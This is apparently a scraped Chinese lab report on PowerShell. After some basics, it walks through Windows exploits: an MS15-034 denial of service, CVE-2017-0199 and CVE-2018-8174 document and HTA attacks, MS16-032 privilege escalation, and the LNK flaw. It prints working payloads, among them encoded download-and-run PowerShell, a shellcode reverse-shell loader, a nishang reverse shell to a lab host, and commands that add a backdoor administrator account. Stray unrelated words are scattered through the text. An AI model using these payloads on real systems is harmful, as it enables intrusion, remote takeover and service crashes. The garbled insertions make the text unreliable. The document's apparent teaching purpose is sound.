返回目錄html
(1)與文件系統交互、運行應用程序python
dir
並回車,會顯示當前文件夾下的子文件夾和文件信息.\名稱
打開應用程序或文件(2)建立腳本linux
.ps1
。若要運行腳本,在命令提示符下鍵入該腳本的名稱,文件擴展名是可選的。
test:下面是hello.ps1
腳本文件的內容git
$a = "Hello" $a echo $a > a.txt dir a.txt這個腳本:先定義了一個變量,而後輸出這個變量的結果,再將這個變量的值寫入文件
a.txt
,最後輸出這個文件的屬性信息運行結果
程序員
(3)powershell 背後依靠的是一套完整的 .NET 編程體系,可以利用.Net類型和COM對象,這讓PowerShell可以最大限度的利用現有資源,而且很容易把.Net和COM程序員招徠到本身麾下github
簡單類型:shell
[int]$a = 10 [String]$b = 10
.Net類型數據庫
$Message = new-object Net.Mail.MailMessage("me@source.com","you@destination.com", "Subject", <br> "Here is some email")
COM對象apache
$myWord = new-object -comobject Word.Application
建立了.Net或者COM的對象之後,就能夠利用這些對象的屬性和方法,來完成更加複雜的操做。編程
(4)任何函數與對象都可以經過help *命令
來查看其幫助文檔(準確來講應該是Get-Help
函數,這是更加「面向對象」化的命名方式,而help
是它的別名),若是看不明白,加上-examples
參數會有應用實例,若是仍看不明白,加上-online
參數會打開完整的在線幫助文檔。
(5)PowerShell中兼容部分的cmd命令和unix/linux shell的命令
cmd.exe
一般會被阻止運行,可是 PowerShell
不會。
- ms15-034漏洞出在http.sys文件中,這個文件是IIS的一個重要組件,功能和特性對windows來講意義重大。利用HTTP.sys的安全漏洞,攻擊者只須要發送惡意的http請求數據包,就可能遠程讀取IIS服務器的內存數據,或使服務器系統藍屏崩潰。
- ms15-034在metasploit有相應的攻擊模塊,
auxiliary/dos/http/ms15_034_ulonglongadd
模塊可直接形成服務器藍屏,auxiliary/scanner/http/ms15_034_http_sys_memory_dump
檢測漏洞,發現僅針對:windoiws 8.1, 2012, or 2012R2有效。
測試裝了windows2008的服務器是否有該漏洞
Import-Module .\MS15034.psm1 Test-MS15034 -Computer 192.168.80.132 -Windows2008
Test-MS15034
部分try { $Result = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 0 -UpperRange 18446744073709551615 -UseSSL:$UseSSL } catch { Throw ('An error occured during the connection to http://{0}:{1}{2}' -f $Computer, $Port, $SrvPath) } Write-Verbose -Message $Result if (-not $Result.contains('Server: Microsoft')) { Write-Error -Message 'The server does not appear to be running HTTP.SYS' } elseif ($Result.contains('HTTP/1.1 416 Requested Range Not Satisfiable')) { 'This server is vulnerable to MS 15-034' } elseif ($Result.contains('HTTP Error 400. The request has an invalid header name.')) { 'The server is not vulnerable to MS 15-034' } elseif ($Result.contains('HTTP/1.1 404 Not Found')) { Write-Error -Message 'The provided path has not been found, check you have selected the right operating system, or specified a valid file in -ServerPath' } else { 'Some other error has occured ?!?!?' }
執行拒絕服務攻擊
Import-Module .\MS15034.psm1 Invoke-MS15034DOS -Computer 192.168.80.132 -Windows2008
瞬間藍屏重啓!!
該部分的代碼在Invoke-MS15034DOS
,執行時先測試被攻擊的服務器是不是有漏洞的,有漏洞它纔會執行攻擊。這裏僅執行dos攻擊,dos攻擊的http header
須要被指定爲Range: bytes=0-18446744073709551615
。
$null = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 18 -UpperRange 18446744073709551615 -UseSSL:$UseSSL
Range
域有直接的關係,Range
請求是HTTP協議中HTTP客戶端用於只獲取服務器上文件的某一部分數據的請求域。
$HTTPRequest = "GET {0} HTTP/1.1
rnHost: stuff
rnRange: bytes={1}-{2}
rn
rn" -f $Path, $LowerRange, $UpperRange
定義HTTP的range請求$TCPStream.Write($EncodedRequest,0,$EncodedRequest.Length)
來發送出通過編碼後的惡意HTTP請求# Decode the response and then return it $HTTPResponse = [System.Text.Encoding]::ASCII.GetString($ReceiveBuffer,0,$TCPClientRBSize)
- CVE-2017-0199是2017年4月11日發佈的一個Microsoft Office RTF漏洞,當用戶打開包含嵌入式漏洞的文檔時,容許使用者下載並執行惡意的Visual Basic腳本。office使用用戶很是多,所以該漏洞可用做許多社工攻擊。
- 受影響系統包括:Microsoft office 2016;Microsoft office 2013;Microsoft office 2010;Microsoft office 2007;
echo ''>rtf.rtf
插入
-對象
-由文件建立
,加上http://xxxxxx/rtf.rtf
,並勾選連接到文件
,保存。(這裏的地址是一個可訪問的服務器的地址關於如何搭建服務器請看這)docx
後綴換爲zip
在打開,找到word
-_rels
-document.xml.rels
,用記事本打開
找到下面的代碼
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
修改成如下代碼後保存
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
如今對一段反彈meterpreter的powershell語句進行base64編碼(爲了不一些特殊字符帶來的錯誤)
powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.129//rev.ps1'),rev
在服務器中添加一個hta.hta
文件,放到上面連接能訪問到的位置,並將上面編碼後的代碼插入到下面:
<html> <head> <script> var c= 'powershell.exe -ep bypass -enc cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyBJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjgwLjEyOS8vcmV2LnBzMScpO3Jldg==';new ActiveXObject('WScript.Shell').Run(c,0); </script> </head> <body> <script> self.close(); </script> </body> </html>
在可訪問的服務器下,添加一個powershell腳本rev.ps1
function rev { $c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@ try{ $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('127.0.0.1', 5330) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400 } catch {} }注意其中的
$s.Connect('x.x.x.x', 2333)
是msf監聽的地址和端口!運行docx文件,當跳出彈框選擇時已經彈回shell
ppt\slides\_rels\slide1.xml.rels
文件,會發現其中Id爲rId3
的是一個OLE對象
,指向一個外部連接靶機運行ppsx,就激活對象,kali方獲得下載請求,下載後發送惡意代碼
with open(payloadlocation) as fin: data +=fin.read() onn.send(data) conn.close() sys.exit(1)
查看ppt\slides\slide1.xml
文件,其中rId3
被定義爲一個link
對象,並設置了verb
行爲。verb
的功能是在PowerPoint播放動畫時激活這個對象,從而執行遠程下載的腳本文件,因此咱們會看到在執行時閃退一個cmd框,其就在運行惡意powershell腳本。
- 該漏洞是Windows特權提高漏洞,若是 Windows 輔助登陸服務未能正確管理內存中的請求句柄,Microsoft Windows 中會存在一個特權提高漏洞。 成功利用此漏洞的攻擊者可以以管理員身份運行任意代碼。 攻擊者可隨後安裝程序;查看、更改或刪除數據;或者建立擁有徹底用戶權限的新賬戶。
./empire
interact tcc
內置模塊ms16-032提權
usemodule privesc/ms16-032 set Listener xiaobai execute
. .\Invoke-MS16-032
Invoke-MS16-032
系統須要有2個以上的CPU核心,正在退出!
查閱資料才知道ms16-032漏洞提權須要兩個條件
目標系統須要有2個以上的CPU核心 PowerShell v2.0及更高版本必須正在運行
Invoke-MS16-032
,成功!獲得一個最高權限!net user 1 1 /add
net localgroup administrators 1 /add
mstsc
- 該漏洞原理:Windows系統經過解析 .LNK 後綴文件時,是使用二進制來解析的,而當惡意的二進制代碼被系統識別執行的時候就能夠實現遠程代碼執行,因爲是在explorer.exe進程中運行的,因此load進內存的時候與當前用戶具備相同的權限。因而攻擊者利用這一解析過程的漏洞,將包含惡意二進制的代碼被附帶進可移動驅動器(或遠程共享過程當中),受害者使用powershell解析 .LNK 文件後就會被黑客所控制。
- 影響版本:Windows 七、Windows 8.一、Windows RT 8.一、Windows 十、Windows Server 200八、Windows Server 2008 R二、Windows Server 20十二、Windows Server 2012 R二、Windows Server 2016
咱們先生成Windows可以識別的.bat
腳本文件
usestager windows/launcher_bat set Listener tc execute
.bat
文件在Windows中運行,回到監聽端口就能夠看到目標主機已經上線interact 名稱
usemodule code_execution/invoke_shellcode
LPORT
和LHOST
與msf設置的同樣。mimikatz
獲取用戶明文密碼usemodule collection/clipboard_monitor
usemodule lateral_movement/invoke_wmi_debugger
LNKOutPath
:本地保存LNK文件的全路徑。TargetCPLPath
:本地/遠程目標cpl的全路徑。Export-LNKPwn -LNKOutPath C:\Users\ASUS\Desktop\aaa\bbb\Path.lnk -TargetCPLPath C:\Users\ASUS\Desktop\Path.cpl -Type SpecialFolderDataBlock
- CVE-2018-8174是Windows VBScriptEngine代碼執行漏洞,因爲 VBScript 腳本執行引擎(vbscript.dll)存在該漏洞,攻擊者能夠將惡意的VBScript嵌入到Office文件或者網站中,一旦用戶受誘導或不慎點擊惡意連接或文檔,攻擊者即可遠程獲取當前用戶系統權限,進而徹底控制用戶電腦。
構造HTA文件,當訪問hta文件就會觸發powershell下載文件至臨時目錄執行(利用 mshta 從遠程服務器下載文件執行)。
<script> a=new ActiveXObject("WScript.Shell"); a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://10.0.0.216/test.hta\', \'c:/windows/temp/mshta.exe\'); c:/windows/temp/WINWORD.exe', 0); window.close(); </script>
test.hta
文件放在/var/www/html
目錄下js Shellcode
:msfvenom -p windows/exec cmd='mshta http://10.0.0.230/test.hta' -f js_le exitfunc=thread -a x86
git clone https://github.com/0x09AL/CVE-2018-8174-msf.git
CVE-2018-8174.rb
複製到 fileformat
目錄:cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
CVE-2018-8174.rtf
複製到 exploits
目錄:cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
CVE-2018-8174 python
腳本:git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
CVE-2018-8174.py
該行代碼處python CVE-2018-8174.py -u http://10.0.0.230/exploit.html -o exp.rtf
/var/www/html
目錄下service apache2 start
http://10.0.0.230/exploit.html
下載執行test.hta
文件,並提早開好開啓wireshark抓包。(這是以前用另外一臺kali10.0.0.216
時抓的包)test.hta
文件,如今咱們利用以前的實踐學習修改test.hta
,獲取反彈shell,內容以下:
<body> <title>XXX-exp</title> <center> <h1>Caculate.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide Hackdo.Run "taskkill /f /im mshta.exe" End If </script> </body> </html>
http://10.0.0.230/exploit.html
kali下監聽端口:nc -lvvp 5330
,發現獲取shell
使用PowerShell執行本身建立的腳本時,提示沒法加載文件,由於在此係統中禁止執行腳本。有關詳細信息,請參閱 "get-help about_signing"
解決方法:經過查找資料知道這是爲了防止惡意腳本執行,powershell默認安全設置裏禁用了執行腳本,要啓用這個功能須要擁有管理員的權限。因此咱們須要在管理員身份運行的PowerShell下輸入
set-ExecutionPolicy RemoteSigned
改變執行策略,修改爲功後就能夠在普通用戶下運行腳本啦!
在使用Empire運行./empire
時報錯ImportError: No module named iptools
解決方法:python庫中缺乏該模塊,使用
pip install 模塊名稱
來下載便可,繼續運行./empire
,直至再也不報錯。
導入Nishang框架時報錯由於缺乏腳本的「#requires」語句指定的如下模塊: ActiveDirectory
解決辦法:在電腦中找到
控制面板
-程序
-啓用或關閉windows功能
,在功能列表中找到Active Directory輕型目錄服務
,選中後點擊肯定按鈕便可。
用PowerShell遠程下載服務器中的腳本文件時,出現錯誤提示遠程服務器返回錯誤: (404) 未找到
解決方法:參考「遠程服務器返回錯誤: (404) 未找到」的正確解決方法,打開IIS管理器,找到
MIME
類型,添加一個MIME的類型:擴展名:.* 類型:application/octet-stream
參考資料